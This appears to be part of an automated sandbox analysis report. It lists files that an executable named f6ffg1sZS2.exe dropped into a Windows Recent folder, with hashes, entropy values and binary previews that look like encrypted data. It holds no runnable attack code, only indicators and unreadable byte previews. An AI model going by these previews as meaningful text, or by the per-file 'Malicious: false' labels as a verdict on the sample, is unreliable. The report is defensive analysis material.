f..'..Jo..)I.C.[:..3..Y.W.k.u.`.)...(.v....N..../#.O.7G..B!l..m...zR..6H..:j.....@..l.>6.yC3.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EIVQSAOTAQ.png

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855353958791115
Encrypted:	false
SSDEEP:	24:RN2tz5PFWvXAmmoZ5HIHI+NVyC+HSkbtI5nqCEfA0NB3mbrl6IAL561zu3Ay03bD:6ttP2zZ5HIoyJ+HSsq5qCEf7Tqx69L+n
MD5:	D62C91DEA738CAE350DEE5DD7308560D
SHA1:	220470C3AEB2FF3948D6572EF03BBAB712FE382E
SHA-256:	8799E1DAC0E679D72B0D0DEDC41447968787AB54446027ADF9C2062D20CF98F7
SHA-512:	5BAC7DA0AD5202868AECB415E49AE71E323894FD7C3B34278C294622340AFE5C877C857F9084B3CDEEB21D74C9224DC548EA1524EC7FDDDCA03C90F93799BBFA
Malicious:	false
Preview:	EIVQS.....t(..e[.*T....]q.i..z%q'..,of.....\..X...K=;A.V...A......J....5.6nF.Z...Pw......%.+40.....w1!N.>2....\....R.f.....s.A#....;....D..9..#.N!.J.Wk....u.[.3h.....N.uJ......N&.w.b.\.w;.1.ln6..1...V.+y.%.,....O@.+...Z...i_.\|...\|e....@5 .QJ.x..(........mb/.i...fd..........KK./.3....<..A.b.\6k5.......F...!.....E...X.Z...".....3oA$..&...Ed.X....Oc..(...M.Lc.6.q......,.2..;.K.{o=.....F".,.......M..nE.;.....b...>....H...k...$.......ZwT..k.$o..Jg..R..........f.FN...x..T.r...Jf.E.^a.;..8RY........h.#..h..I..=3..f..."ky......n......H..5,GBtmL.k..AI...."......u.E?....f.a.c.@.",z...O...qvv.ip.H...\.c[-'.-...\|..q..J.4.......3..K^...24.......s.8..J[....~../.uA..+0%..R.x.=......%..4..U.-..8_R.V.5D...".!../..m..sv.z.V.<..@.t.G..:..%.p.o.<.C^..p..#..g.8N>-..q]......#.G........3..ij...hh....{.O....Xae.....t.JQ.......`!I.'...c.2..<..7.pqp;......./..O.....2..1.........^....%..S..M.....~.4~...WI#..Ch.@....%~....$.G.A...K i...8....3..y..4..Vd.T........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\FENIVHOIKN.png

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835533431596844
Encrypted:	false
SSDEEP:	24:Y1Gzb5qBogFoykJ0SPRGkluQdDA3ThgrExr1dny2XS6IKQLHW10McC9bD:YkJqfhkJ0SMUuCDAjWExrTyxuwpMh9D
MD5:	8C7ABF6293C21FE8B5E32A724FE55426
SHA1:	DD56B0BB89CC2A92E19BADDF5BC3C2DF499BD48D
SHA-256:	39E3AB4035F2E0F5FD83AE189670F1740DD33EBF6CFEE6442D97D7FBC595BB57
SHA-512:	2617939E2D823B7D0FB8BE155EDEDE2D47717FAAF176BA8175D7AD6A5833F9C5E4D73A685AD6B50BF15FC5993058D162E563F2EB1EE064FC4D7C2579670B9163
Malicious:	false
Preview:	FENIV....N.$p$...{....4j..)c3.. ..lX...~)P.yP.2....P..`.c.........w...=.H...V.a..j....R.^.@"....1...=....a.....f....C.,K.}q.^..(.M...J.(..:v....1..c....8..W.....Q..]9bn....=x..Q.....g..M;."..c.Y...#I?>~.4ct.N#.w..d.#..WB..,.w..P-r...7..O..!{v.4..Z0..%...h..=Zl.F^E.gv~bzz..y(.=.eO.=7..k6`..rCGi..m.<.k..G-1..,.5.vJ........8.8.~.4.;KJ.nY..1.Y.S.:.7..pi;\|...}..6..)F.q.....G.p+..l.......mQ.O.DG................?d.l`Gv.H...,0.IeW...q3....5n.@........ S.O.p.{..1....jT?I.)Yv$..X...........H.xJ...h.!.....D..,....c}c.......$.H..G.f...,..M[.C...5..H...8X..":..W..y..6..\|..2P..b..7.r..I.5...4v.R..6%....Iz.....+...e\........hl\|DM.}x")s8.E..S.C.WMfWC........;0......b.+.~...\|...F...4Y...OKm.w.b.......<.\|J..v\|...S.O.G....m+.k..Q..a.#..".W....A.6...Z\|:.).G....Pq....U.g....e f.......K......".....I...;j5.e.V.8zf.4..D Z..!).+rt..F$......"`....Q<..p..\|M>..\|L..9...C..k...eb.*.~.IIa.]..........2+.z....6....t.J.V&.....X...`JX..D_.!.\y.1..Q........v.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\FGAWOVZUJP.png

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858984901537034
Encrypted:	false
SSDEEP:	24:Sk84Y8+LF0P1OeSpyBymRbpN+/rB/s2a5vz68dlaNSoTBIRR4Ib74OIuxabD:Q4SpykmA/rB/s2aVlGSoTmRR4e7eD
MD5:	F5380993FD18A2906DD9AD2E46FBBEE5
SHA1:	4B68AB3478DF426D09157AAB22EA41F86347DC88
SHA-256:	55200219ED894F761411F381EC8A7C982D6A0EB015EDE9F8C9AA36CCAA1C8924
SHA-512:	B795F0FD674D0EC1572C2B3DD87606A665F1B22882F65CD6C73559AC801790255974AB2A1F30EE60531ABE13BF4C223CAF1281F132ED483BA9341FF8C30EAB57
Malicious:	false
Preview:	FGAWO:z.XA...t.94..].Q.y.h..2..f..UQ.s..4...Vn....V...5..1,......8..vn..........1....{`T..c.k..a......4..Lcayf:.....e2b...{.?...T7F.S]'P.=.XYJ@....{`'.w.....o?.,>Z....:.u..-vb"..s.\..B#......~2.B.[..Z."+...H.....S/B....n..$l.>...d..`...#'C.=...,.~..l."%....G..a.B{../.........7.....Zb-[..>..M.P....>....W....:>...Y..<L.V#....^..3"..j'h..L.......?..[y..<......n..e)N....x.3.D.'FI.....UX..@.._t..;Ee..{n....s...<_.e.td..$.~..+/:.:..g.(Cg.n....N.....p.k.I.K...)I..5.W}@>..f.....2....EO..{.<$(..kJ{......./.. .W.....[.....D..h..X...'./T.A.....q._.\|../..y1...o.L.@M.p.YS...LH`...yz.._.....8./...BR5.W..i.=H.7..`...\|.h....x$;..&E.CP].l<...u....m.x\|.dp...e..!..z..Y7.'..A\|.d?.....(.i..Uo.....r.......a..vE1..9....q.N..C..$.z...u...I.5..R.].*k1f\Zg.R@z..>!.X....'.\A..m..U..{:ph...F..D3.R.(...AC.E.[Mt.<...G$d..,.......@..4[.1E,....o1.<._..d^....g...bd..V.D,^.%...6$._g\....u...u~#-....Q....4.m^}s...c...n\..K..B.2....DM......zf.8."........b...h..u..b....5.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GNJEVOXLLS.jpg

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.820315796467827
Encrypted:	false
SSDEEP:	24:/cmnisu88T4hhP6cxerS+iPyrVBqFKPN4DVPjzxinYELobD:kmisuz4hhnaSNy+IPN4VXxivLyD
MD5:	B8652C36432E562E4313C1C4CB66A802
SHA1:	0C392AE955A4BB8C3730EF4B49A818EE670E5732
SHA-256:	ABA7550E6A9591F6C3BEB031955D4C0D681645901B351BA0C2B63FF6623AE901
SHA-512:	91DDB1A72109F346ACB0E1A31CDEF1ED5465C476ACAB73AFEA67D89B9A8902CCEB617EC5524996DDDFC2C582F0637CD148117A08D1C1CD6FA12A202D322DA7D1
Malicious:	false
Preview:	GNJEV...2C...}...F.....m...u4...!Ez......`E...6W....s....0..U....z.%.V.`A.....KoR..X vp.........p._Lu..P..y.b2.Ow...)c^.{.Y....o.'........x.?;..0..9<...x .DB.}/.....FLK..+..p..MwN0.b@...yRb.b...{Td..f.R.A1B.6..m+\Z.....Q...G.>)....u..>.#...@..z....m.ED.e...S.....Q....#6...~}.X..0..P.. ..y.._<;y7;...j.....3.^f.&.-.....y)...-pn-G...NNT..\|.....1....$...!..V..`U.....2.Ov~.!&....$..6....A.68.9.. ..z..>..pQp.qT..^.,.9[.d..._........_...a.!..U.s...e.SIx.."...S..%....;.kY}....).\..........m.5...Ztl..ugp;..=..-.QL...9..V....p.a....,....9..fK.....<N../...?SL......W.~{V'..pQ]~.E.V..RQ.w........b....i..9.c#...V.....p2e.}..5.Rag...{Z!.9.<..j..t....FS.z...b.y..[.;.%.utt4>..j.39...j..!@....K..1.9.e.H..at9..U^..._.6.z.n...W..6.l.C....kW.zi...J.......1B..&.t.\\|..W.3]..(.\|..)..eXS....u.....".....q.......U-...n...3L.F.........EM......nI$n....E<...$.]..<:8!\|.=Fu.E......D......r.;B.......B.....`.O.s.uTgE.. .e.......H.j.).ydbi...L..@qQ.I\D....o..t.4.A

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GNJEVOXLLS.mp3

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83949637784445
Encrypted:	false
SSDEEP:	24:/LDCY0o+VH3NYWTzBJfDtSmzJ2OXVnZ9+ouDv9wNOjzYQVMg3rBbD:yJok3NTzBJ7AOXz96DeQjzYQVMM1D
MD5:	17356C5CDF4BE4BCFBBE5C936DCF9F5F
SHA1:	96B282CA24D0ADBCB52025AEBE08D640B332D36B
SHA-256:	A49B381EFC74E3622E284A55D30D25B3D2B29AA1AB819F57ABAB60BA0AECD639
SHA-512:	653A3EA12D23DAAC7E70A003990700B7BCD91FCC93933381C73ED4CACB162C63AF1703D1FE3F82D28936BCA7810059FC8E11C6F6F0DF3C15C41DEAA09EF42335
Malicious:	false
Preview:	GNJEV64....Y.......!MX.0..z:....Owz"K.\|......!w....I.....a..Y...E.....t}....}........3+.T..(.S....2o.\..n...!..~.5Oa.(Vq.<..]......E.-.,.~....P.\|7.w8./.._.GPf........R>MVT]..2o.....P{..dh..C..<3.E~.j...z^u3....n.5V...{%v...3..._q...XJ.}3..9..%.\...r..+m..&!G...Q..]._<....\...;Q,.5a..5..........d.;.B....".?Hm1\|.............^.:..TyW..t.....C...........I...?.B6j...1..(j.....z..0h....(..v9Cv..iM9-I..\..+ ..l..X.....Y......Ac...fuX.ban.0}..gu.Cm.%...<t.jp$.&.f.K:\0..R.....Yo.....q Hg....S%..;..&j.)r!....m.Ffs=.....n.).Upx..g<!^Yi.\I...)..?...j.^.f_....h......l.9.0...*....f..K.. i...`.X..m..t.##...}b..1..a.~..c..d\L..R.....-'t,E.&.L....,.\!.$.'...>"..i......`..5e t..Lh.L";3...W.U..P.J$.>..z..E.....^.{.G..X[..J...^.kO....L.xib.zP5c.[H.Q0......K.p.K......4s......q1..$fu....w.}..:.;..QC.#P.]..[D..c.Zb.......a>'.k..."..S...\|..o.<c.,.b......y.....z.}.i!5.ix._!Y.....}m...n/#Z.B..H.L:B..,..........p+.;.eC..R.6.H.^.i7.5........p...`.j.j...R....k.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GNJEVOXLLS.pdf

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856124288146268
Encrypted:	false
SSDEEP:	24:/XGVjxVaKFc44W8E6cuybO1YGmPv1vulTMVFIUddCSsGgtw4JrYuLFKjEUuc6bD:PSjxVaKm1Wuc6Yp1GlTMVdaSCvYuLwzg
MD5:	B902291395557BA40E21B4A1C960F24D
SHA1:	236C45FB2B47DAD592DFB629E02E11448EE7CFFD
SHA-256:	CC361742F4A23517AB03CB3854A0415E85C504EE71F90AB6D013C7F7ACD21693
SHA-512:	94F97563612423184279F3F67F5A1374FCBFB406CFE83E9B54D7D33CC093714B78DDF947BB2A2DA557E416E45F3D00487ADE468ED74E3F7ECA4FB0271D776B69
Malicious:	false
Preview:	GNJEVJ.+..........ny%....\|..J...>.>@...C,.i...t.."...M....%>......y ..?j.K...........e..kW.Ip.o.G.....t../.Q.6....0e..fZ.\....n...X.i...s.8y.M.I....;/:.......4....7jB.>........x.Q.v$.zD&3.#.......74=...c3.y{......._..^../.o@?\|w,.o.q.1.(.]..$O:...n.~h...LxT.r...Ba.r..$r_....E..e...C..3.*....A.F~>...4...s.jkV.t.Q....P.mG....g&E.!...I.......3.',.Z.S..V".S..x.GeH.......\......Q..SD1#U.3cte....).x..ok...0..{..i.........,.\.fcED...9(.\[..`.~....0y.c.. .....)8/.%I..N..rhr..g.-...S.]m..-.H&l.]6...M....Rt..s............2S..f0.9.ND\|.q.v......i.....0..s.r&...tG..g..4...(....q...1s....R....7+..>R.....c.A..}l..u./v....&...w.G...D.T.+h.#....U..H...oTW._.I.q..jfP..\.....r.2..2.9....\|n.=............D.~..I.u..bI\.9.x=......~.)......~".PTs>d^...............#.%.Q...7L..i(...R..1'0.,..............k.UsM........=x..."6^....zj..`.._.B#.,..sh.e2zS.]..j2w....]_...X."..i.!...f\|..{.L..v.r..s.@...jD..pS..c..av...3.1.\|W....$....F.Ry"s..._..Px/..U.K.@.o.%..)y...4..:..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HTAGVDFUIE.docx

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8560449581831096
Encrypted:	false
SSDEEP:	24:Fv4RUWjsluvTYURJrtnhE0S2BsIKQ50qmtDfbD:Fv4RRQ1KJrTpsI350JDD
MD5:	77B605BC39A2F39DB8B9965231D23E46
SHA1:	80D3C6C4F55AA6300FEC5562E4D6ED8A0F46D157
SHA-256:	DEF0EE18F00ECF6CEFC5F13677DEE76ACF65EF8E9EB0ED828EFD79A2A43E8164
SHA-512:	E5A1457705EFB8C5644D467C96EE8B757B7810C07E406787B61FDF363B4B1FB50B56CB1AF0E0BEE175C0DE6AA4CB31DB5EC086CF46EF5148AAA4A12FB061D0BD
Malicious:	false
Preview:	HTAGV..g3.....<..x.....P.A..G&<.....d=...'%..^h.p!1#OO...g\.b.erq.N..s......\|.z....s..?.lK.s....8h!....Q?BO..i...O.; ..K.....%..xF..../.{.e`D...!6.^..O(.-/.+g..U.......n.lc..9[0.3...Mn..~...R...Hrxi:.:....[=.......U.c.UY.6&..[.t3TQP...4j..9...oA.8.].b...6.......E?$...k;.}...b..'.sT.k..,.....>..cw.............".5B./..u...F:.....#..F...kU....>z#.6..-..a+3y.y.e..I.q.MH.a.O......M....S1.....JF/.~..RH.-._..(.d][..,...2$..@.....p?.m.....6...."...-.^.>...[._l..z..\|.~.tu..q......!6].6...C.u1.).S.:..I0j>......c..+......5=u...._..0..R.+.v..y.s.`6o..X.d.....qE......i.........}>[.....6...me.[._~..6=5....:7!...."......\.<A..l..Eu,...d8.#Qwm&...D.........f.d.2._%.ze..U...........T....f......1.@u.P!xv...9....Y..Ya..q..'..X`7k..w.Y.j6....r...s6k.%...s.....L........<.'....yj9s.....+..W....t.+h..0.wd7M".,..nh.b..T.B..Z.+.u.\....O8.K.)&.../.....o-.y.J....#.N.i.....i.>....\|Pa......n~......q..A..w.R.6j.\.wJv..-V.9..x.....AU]..3...X.,S.%t...J.8.L.U.'...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HTAGVDFUIE.pdf

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852663061368703
Encrypted:	false
SSDEEP:	24:uBjW3Pf1mtLqEzCY/2+4s1om5WUwLxny1O6HrViyNTwAfgkuV8KmdBmbD:uNW3PfQJqEzCYpMLhsbxEfiB0D
MD5:	49199DEE4589E4AB6B376671BD53FC89
SHA1:	DF08D5D11F9812059BD9A03CF032501CD5DE3A6D
SHA-256:	505DF846B53DDD2D632009D2BD43B2E03BA7A24A5D5AEE1B87DB8595FB9BBB23
SHA-512:	FDFBBCCAA9347F3A46589FD993576807D8009186C1CF252B8A946E25682132BCAD2A257737BCF0200B26B0D29B06C3B2C8EE3EB493E5AA7460C53109F654881A
Malicious:	false
Preview:	HTAGVSJ/...4Mi...R`g.....U...v..H...o)>...b...p. ..I.084q.......U.(sS[hk........M.XEg4........`. ..+Z..T.\......%3.m_...X.;Y..?G~....]...PT.E,.....S$v.R.r.....B..x.>..t.VP._...8G.o(.'...I........XPs.<........W-qH"T..5.j.w....z....Q.L.......fE?..9..8z...@...[.H.8O...9.(.6'%..l.+J..........y.O'1..}\|5V...[.....]7l..u.c.k.3I...Ec8...c.<......E.r.H.1Ab........0.L.......E>Uyyl......[..{. ....\|3e$.P...TL..!.J.+E#r.>...i.&..5y+.:m..d..}\|......](c.....f.c.=a.J2.F..P.1.....{..[.d.....l..Q......m.a.\=..1.5].i..c.\|..5.h...=..-.Q...V[,..O..r..x...,~....>..@....s8..Ey8.z..K...h.....JGV...U.'.....2.z.....o~..T....]3.-..!.C...?.F.jU..p!".\|...a.}.xmx..p.,a./B;.....=...&.m....Hr..F@.}......X..oO...N.S.$.l..&...@@..+....:...A{Xl+...E.>..d./..(...Z.Y.tS"..n.....Vp....>ML.;......m...&..q...S.!.......6...<...kT}Fu./..M..w ..6{.:]...Y.e..X.......!.v.>]H..)...E.k2'&...e..@]w._......W..ef.....[....#....j...&o...+.&...&p.j...5)d..6oB...$3o.\._.L..;@.]n.[..6w.3...].d.k.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\IPKGELNTQY.mp3

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846084093585854
Encrypted:	false
SSDEEP:	24:z0/jx7ZSbhVy3/AkdxA6BzP7M4yd7AyRZ+s3a6+pkMGNJbD:YN4E3bq6BTUAyREHr3GvD
MD5:	A1D1AD96EB260D438F22F3089AFAFACA
SHA1:	42A51F60B4F7A722F8652435BCD80CA35A6F63E7
SHA-256:	6939A35D75B09E518AD3EF86CA5FB536BCDB0F8A07743276C418C75E2377872C
SHA-512:	5EE18A1912966795CD27D0C92B6457097EECAEBAD9A9498D4C56B8B4CC08CF301280076277A4926622B8FB662C7C44C900AD22BE4951D175906F458DFA8EFC91
Malicious:	false
Preview:	IPKGE..#...=.....:1........eR.5...[l.x.V.+.N..p..EIz....)....P.lF.x..9.=...MF..."....`.O.o..r...].....z.\|}....6.0;..h...4`..vidO..s%........WU..J.Z..f..'.J./..t.......X.Z.r........,@.z..z..B .S.._?...+.eU.A..4.I.'.kV.tJ-8/..$...V.^6..KT......3U....a=........O}...bK..u~..OwU.>.X..^..D.T..x.#...z...Q........oA....%.y.z.Q\|~.y.V....\|+......B..A..728I,moT.LL%.;..iH.W..S:..9(.A.p)...weG...R.....1...Y.E.n.).h\..f.../J..[V..@88I.....O.....g...O./J.x%^..0....S.@......-.$.)K+<..c...Q.V.q...u..f......w.J..3M.2.Z,.A.6j\..m..~TD...,..v..5u..8<.........6...Z..%).....[Ff...j.p...~.\|.....%....R.>.....@..n...Y.......0....F..x....:.w..L.B..-.B.A....N....4"...)o._^...\.~..=.......9eu....T.w....^..9g..Lwr..eo..........g.^..G..'....d^(s.~.f..i..&.E.....(..[...9......(.d.f~...\.F..z..zU./.1K..X...@..I.!(..u..6!+.......b.W..T7.)@....-.5..mOs@.&x.}.3..Jyp.x.L.i.{.G)...:.M..d..V@.D?U.E.n,....j..9iL..T.V....>G.T..1i.....}~+wJ..j.F.h..>i.C<.g.N..l(.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\JSDNGYCOWY.png

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837935323264855
Encrypted:	false
SSDEEP:	24:KdZBDE7KG7pvtrndQBXMtTWjkrd29JSq9FQFkWkyNMCS3bD:KHBw2G7ltjdQOtigYbSqDWIC4D
MD5:	A11917754F7E1549623B6FD1D9040414
SHA1:	C15AE02F5886669595A7693DE170301B98B0044B
SHA-256:	0F053A0F44CA236E950971BEB0324CF927082AA9EB5412C46A38747325FA46C2
SHA-512:	86D5592A587CA9B2F95E577F733C346B44AFFD91F7ADFB03716B6E73768ED5DBD37591E71786E8ED9DDB8BFAF907DB4C384988BE56EEA1B5D26071DCBDE3375D
Malicious:	false
Preview:	JSDNG....N..n.o..l.\|H...S.......~......9..MWI....q.M;...&sr..lv..d_...9..M.<6l.."._..z.!..S.0;...4.F.4..........:...y.AD......2/.....N.L.,.^...c.<.l.';.4PDj........h.P.e..N9....;...J...k.2..m.3.%.....F.)'..'.q.....3%.ki.j.Kq......zj$.U..:...+.T.nQ.. ....\.{cg..../...U..xq..m.'.D.#.H...:.c....G....8..;r..O...e].KZ$.L..zT....L.0\|....xs%....8...0...../...>.O....D..EfX..._..m.1q.K..(.+.^........\{..N.I>1.(...].B~.(.`.D..o .;A..!.....r..8...\|.c...O....c.?..........Z.bI.k.......qJ.]kidt......FI.......:.JT.}...R..6..N.]g....g..[[..o..Z.^.J...L...z...".......QTP....BE.@.{^F...]G.>(...@s.....h.v..k..1....R...D:......4..f.G.l.9.........L....I..n5`.A.Z.[8.-..QP6.....Xa3.kE.@...\|. 77....{...HG.Ke6.:#.m.r..W.F..N.7..4c...-.....=...'.hKw.Rv..tF.b.....7.[....ZJ..E\.!R.$Q.}+.K..z8........~...7!T.:...y.3.....a!.I....2..0..........<...@.3.....@.1...R.=.............%...(...w._?........c.O.G..g...k.>?..'B.z...9.8..'.....?..j.e.(A.(Z..`.;.&.w./.>......#5E..7

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KATAXZVCPS.docx

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8296096164149915
Encrypted:	false
SSDEEP:	24:9GfYxulB21n/+Fn/4LwoIsdIUGWdtIY6X09Llt2TMCRYvMpJbD:ZxuK1/+Fn9s+U5IY6k95s3gYD
MD5:	C69063C393A7A3EA5D3FC84C5BBA5F62
SHA1:	F321747A1C5D21DCAC993493FDA95A3F575C78F4
SHA-256:	1100A5CC792F16A1AD10B90D753C5103F1321825CE5DF5D2EBA209420056377B
SHA-512:	451088F295734EC6EC4446790E891F586D14296C1EC814917553036809C7055BE131B4A0A750A6F7F8F43F062B4D9CCF37801A4E1671BA3D55C3E55920E291D8
Malicious:	false
Preview:	KATAX.Ts....+.C.^^.. 2.R.gw....p.\.l.t.....Z`L.U.F^>d%+A...-.51UA..:........!....\|.... D..J...`..d..r...m1._5..u....[.t(....)W..\|X.....y.....;0`;...x..(........>X..R....F...^..^...@:D%m.9...,4.....-b4..H/....p..:.y..."b5v8.Q.....I._YU.3.i..A.96...#...p..4;O)V.&.....6..R~.V#u.y.&W..U.....4k.i..:.+.o......0@...._..i[XS3..>..C..../"...<3.......B....Q=.qhaI:.....u<....s;7......tjG..R.........1jn.I]........[.f*-...VlNI...3...G.M1..;...P.[.Q..xQ....y.8..... ..WZ)......N.k..2d...!.. .[C..K8u+.......1..B.H..F2...4.g..../.o../.eS....(..;:....\..4.-^R..N.V.[...N..7..;..[.....l.E.r.:$.}...q6~....7.2.q~Fs........g.[\|..H.f.eZ..x...-lN.....@..M`..=8M8.n......."=.3.........C...8....NK$m..X.4.l..f81\...i...?.a.P....D.t....f..Q...............4..dU...T........].-....39.7..SE."...T..@....~.A..d.'...m.... @3!.3.7.`..%..R...............r.J.XA_....9..%U......bE}G..y5."i.^W_..4....F..L...R.0.'..8-J.I..M}I.L>A..z..'....}})..8..b...z....X:.............6...#.o...7C..-G.8..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KATAXZVCPS.xlsx

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857498662409837
Encrypted:	false
SSDEEP:	24:fvLSveL5zK/ZUTnTQRXwVs2pSmreH+mL7VUANdEjhMxTd7y47wJJubD:HLOeM/ZUnUAa6SmrmHVUJjq57+JMD
MD5:	E12E5CF7376B5F18FA66298064F4C45F
SHA1:	3CA97160037301C91EF8F5E59BF5B35700B2B620
SHA-256:	F7C44B85DF4888505AE24FF9763191FD734AD4E7E9968246E547F904C9B6170A
SHA-512:	F7F6EE13A446C0BF791D3D994C4543C05C3F71F0198E00B62ED266BBEF0E3E0198362650E9973D7826F4D705252EA3EC3A3960407C668A0C0081D1B7B118302B
Malicious:	false
Preview:	KATAX..F..F.E.".+J.K.t......q..tM...N..J.onWZ ..RR/..$p....h.".....F......f.-5..D..X...{Q%.b2..]._..S...Iy....AO.y.\..&p<../.7..B5ZE.......g.ayo_=...z...;.S.2..+w;.....B.r.w.P..0.V.GQG...l9y..0...j8.gq.{1.`.t5.).=^........\|.S.'..s.~b......^..O....\|..F.A.c0.F-V.....H.\|1......`....S.<4....~...m....gj-\.6.QB/.d......to.-c.D.....h.5.%.........3.S.._./....]Z.K.J#..(S...f.A..zxz.C...J.f.r..>}.6Do.....,-.NM...~roH.e....G....A....ve..J..j~.Y.D....O.NY..9...~\G..l.I<wb<..J2...D.].._.'.(....q.Ta...4.sm.ia.....]..kgt....CL.~T........P._<.{;........oh=.\.....3.Lf..s....P.L..-0.^D^.s.3R..j5..N4.I.....gB.P...6....-.X...851...BU.5iQ../...0.].....f.=v:h....,.[}.....8d...!..A..2...Y..(z.......>.k..#...l...y.}c.5(..fx.Dg.K;Me...V.9K..l.an....+..e...Z.%....%.... .d.<k ....soa.F A..sV.W.&....DY...)...q....g..[.!.i+...M........j..B..4......v5..f.....DH.U.#4]..$=_jF`...o.i..RX....5..X..4.g<c...h...A.Q.[8/..(@..:.{...8..).t.>ts.....7....L{..%.s....p...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KZWFNRXYKI.docx

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.829720205684423
Encrypted:	false
SSDEEP:	24:j85vV7e4TjcC4QI3580hoyb31aizRibSiMAYh6xFAKQQVXaCnytkigjtXSmbbD:j8r5Tjc/360CybYizmSZj63AK3yKRXPL
MD5:	F69DAC1F9FF19CD1FED07B3BAB352B2B
SHA1:	DC20E5D05E1D661F22868A65408BF462416D8376
SHA-256:	8B3239B498453A68F967E450851D4717BB5637E1B554B1DE0795F6D20294B8D7
SHA-512:	55E3F6ED6F4247D6511376263AC690E84CD218C70AA09DE38DE34BAEF50284799A5E82DA708AE7D25760EADB6061DB015852B1E4BFDAA1D98FFD7480F59FBAA6
Malicious:	false
Preview:	KZWFN.%..B.a.^...76..n.f.Qz.L-~J..........O.O.}..L.hr..okK...W]..L.m..bbUTJO.\|!.3.H..X.To...N.1.a:4...F.G\|....j\|..1........'G..%.....#H.Vyt/./.F...r.dN..&.}..~...>......ar5....2.......<.s..R)..N..[...$.b....6J.[..v.}.C.i..!....taV0<....2.7.U@A.XWJ.-......ry...E.3Cf....0Z.$.\|.5..>..t.....\|#.b.s].+...^k}.>...].c.^E...aq..[.A.g.:.lS...V.Z.w.Y#M.a...k....x?.P. ..../..R..y..H..0.n..f48....aj.....7.....-....../.F..N-....b@...._.2.x........G.1y.........r....9J.5..n,.,P......B1..l.9..x.{..yh.m.[\/..>...l1..5C .z.#6H...q.ww.Z....eq\Z......]..s.`(.1...rS!.D...n....m.F.Q.639...y..-..A5.d.>n!.N...v...../8}g....9...i.6/.....n...\.=....y_R..y..j....m..@I.....G...v~X...I.)...~<U.>o......}8.i.\.{..7....2...[wW.)!..#"WJ#....m\|.U.....Bu..hc{..}..f.VWLH..Yg...F4....2..t;?.J......Y...m..]....!Q..S.@.@=.!X.P..p........r..u..$.W3f2=.3C...":.@g.%.....Z^.. ...-..s!.....b.gj./.....O....77yr.DE.......j.VUJ....2.2L....my^C..t.S,c.K!B....6...h..............M....=-

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KZWFNRXYKI.pdf

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84575824747059
Encrypted:	false
SSDEEP:	24:b45Fxc8rC/ZeSQCaI6V8y6V3ovHkeG/S8bFCKNFY7yUtMznOOm40TRohx8Klbl6h:X8rGDVU8ddovErLBNIyFiOP0aVUelZTE
MD5:	DEF42DCEEAD6AEF87D68985919DD2C80
SHA1:	EA020CB627C7E07DA0364CE0C8E156F0BCA43EAF
SHA-256:	FB3CBF2127BD85678CC794F7469E75269ECF612A604C85FDD747E2651F046F53
SHA-512:	19999E2991E376999BD3E8E37214915A46D2CD3D1040591158278FB1022ED69534C44D077A5622161B162A42D833C4910BE724900BB0D7D8B234F8B38C25451E
Malicious:	false
Preview:	KZWFNX.,.<+...[1D.\|js...1.......+.>D.HyIP3.i.o....C........[A&,c....._>.4.\|/......).....?......7..:.1..2F........-+7..."i.a..c6.D.2`.Z.PO....^..;.<2G?(.q....M..../..0m..j.C....i(..HO.J.q.\|V.A..FH"2.........j.KF..$.Pt....B.<...5P...!.^4.WO.{@.....w.....?.-.S.....?.P....I&.y.H...ynS.#......\|..lu\|.^y2..T7.$.......E..D<..}..f.\..U...)&..)2#a.....L.@..t..Ic.s..vpS.V....9.L.&.I.`~......!...UQ.......I..r.....?.....t..\.Z..2.t.DJ..O.Z@...=H"K}........l.....\|.x...=..M..e.m.Zx?.mj...%.Hc..7.(O&..T.......k.5Y.w..!./ ..t..-..g.Z...#Hk.q.]..X...UhP2.fI...i.......=..N.W.....9.... 